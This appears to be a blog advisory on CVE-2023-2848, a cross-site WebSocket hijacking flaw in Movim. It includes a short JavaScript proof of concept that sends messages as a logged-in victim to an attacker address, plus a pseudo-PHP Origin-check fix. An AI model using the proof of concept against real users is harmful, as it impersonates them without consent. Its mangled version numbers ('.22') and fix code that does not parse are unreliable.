CVE-2023-2848 - How a Missing Header Let Attackers Hijack WebSockets in Movim (Pre-.22)

In the world of open-source social networking, security can sometimes be overlooked. That happened in Movim, a decentralized social platform built on XMPP. Before version .22, Movim suffered from a dangerous vulnerability: Cross-Site WebSocket Hijacking, officially tracked as CVE-2023-2848. In this detailed post, we’ll dive into what happened, show you code and exploit examples, and guide you to the original sources.

What is Cross-Site WebSocket Hijacking?

WebSockets are great for real-time communication in web apps. But if you don’t validate where a WebSocket connection is coming from, attackers can sneak in and send commands as if they were real users.

In this attack, a malicious website tricks a user’s browser into opening a WebSocket connection to Movim, reusing the user's valid authentication (like cookies). Without proper checks, the attacker can hijack the connection and do things in the user's name.

What Caused the Movim Vulnerability?

Before version .22, Movim did not check where incoming WebSocket connections came from. The flaw? The backend didn’t validate the Origin or Sec-WebSocket-Origin HTTP headers during the WebSocket handshake.

That meant any website could connect to the Movim backend as the victim (if they were logged in), sending commands, reading messages, or even posting content.

Here’s a basic JavaScript example that could be put on an attacker's site

// The attacker’s script running on any domain
let ws = new WebSocket("wss://movim.example.com/websocket");
ws.onopen = function() {
    // Send a message as the victim
    ws.send(JSON.stringify({
        "type": "message",
        "to": "attacker@badguy.tld",
        "content": "Hello from a hijacked session!"
    }));
};
// Optionally, listen for responses
ws.onmessage = function(event) {
    console.log("Received:", event.data);
};

If the user was logged in, Movim would process the WebSocket as if the user had initiated it, using their session automatically.

The Fix

The patch was clear: MOVIM started checking the Origin header.

In the code, it looks like this

// Example of checking Origin header in PHP (pseudo code)
$allowed_origins = ['https://movim.example.com';];
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (!in_array($origin, $allowed_origins)) {
    header('HTTP/1.1 403 Forbidden');
    exit('WebSocket connections must use a valid Origin header');
}

If the incoming WebSocket doesn’t come from a trusted page, Movim now rejects the connection.

Fixed in: Movim .22

- CWE: CWE-352: Cross-Site Request Forgery (CSRF)

References and Further Reading

- Original CVE record - CVE-2023-2848 (MITRE)
- Movim Release Notes
- OWASP: WebSocket Security
- Movim GitHub Repository

Conclusion

CVE-2023-2848 is a textbook example of why even “modern” protocols like WebSocket need old-fashioned security – like checking where requests come from.

If you run Movim, upgrade to version .22 or later ASAP.

Timeline

Published on: 09/14/2023 12:15:00 UTC
Last modified on: 09/20/2023 15:08:00 UTC